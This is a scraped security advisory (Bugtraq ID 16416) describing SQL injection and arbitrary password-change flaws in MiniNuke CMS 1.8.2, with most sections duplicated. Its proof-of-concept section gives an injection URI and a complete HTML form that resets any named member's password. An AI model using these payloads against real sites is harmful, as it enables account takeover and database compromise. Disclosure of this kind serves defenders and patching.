MiniNuke Multiple Input Validation Vulnerabilities
BID:16416
Info
MiniNuke Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 16416 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 30 2006 12:00AM |
| Updated: | Feb 07 2006 08:55PM |
| Credit: | Mustafa Can Bjorn is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
MiniNuke MiniNuke CMS 1.8.2 |
| Not Vulnerable: | |
Discussion
MiniNuke Multiple Input Validation Vulnerabilities
MiniNuke is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.
MiniNuke is prone to an SQL-injection vulnerability.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
MiniNuke is also prone to a vulnerability that could permit an attacker to change an arbitrary user's password to an attacker-supplied value. Successful exploitation may result in a complete compromise of the application; other attacks are also possible.
These issues are reported to affect version 1.8.2; other versions may also be vulnerable.
MiniNuke is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.
MiniNuke is prone to an SQL-injection vulnerability.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
MiniNuke is also prone to a vulnerability that could permit an attacker to change an arbitrary user's password to an attacker-supplied value. Successful exploitation may result in a complete compromise of the application; other attacks are also possible.
These issues are reported to affect version 1.8.2; other versions may also be vulnerable.
Exploit / POC
MiniNuke Multiple Input Validation Vulnerabilities
An exploit is not required.
The following proof of concept URI for the SQL injection issue is available:
http://www.example.com/news.asp?Action=Print&hid=[SQLQuery]
The following example POST request for the password change issue is available:
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://www.example.com/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the
blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password
</font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD:
</font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again :
</font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text"
name="x" value="Membername">
<input type="submit" value="Send" name="B1" style="font-family: Verdana;
font-size: 10px; border: 1px ridge #FFFFFF; background-color:
#FFFFFF"></td></tr>
</table></form>
</html>
[/code]
A proof of concept exploit for the password change issue by Hessam-x is also available.
An exploit is not required.
The following proof of concept URI for the SQL injection issue is available:
http://www.example.com/news.asp?Action=Print&hid=[SQLQuery]
The following example POST request for the password change issue is available:
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://www.example.com/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the
blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password
</font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD:
</font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again :
</font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text"
name="x" value="Membername">
<input type="submit" value="Send" name="B1" style="font-family: Verdana;
font-size: 10px; border: 1px ridge #FFFFFF; background-color:
#FFFFFF"></td></tr>
</table></form>
</html>
[/code]
A proof of concept exploit for the password change issue by Hessam-x is also available.
Solution / Fix
MiniNuke Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
MiniNuke Multiple Input Validation Vulnerabilities
References:
References:
- MiniNuke CMS System <= 1.8.2 (membership.asp) remote user password (Mustafa Can Bjorn)
- MiniNuke CMS System <= 1.8.2 (news.asp) SQL Injection vulnerability (Mustafa Can Bjorn)
- MinuNuke CMS Homepage (MiniNuke)
- MiniNuke 1.8.2 - change member's passwrod < Perl > ([email protected])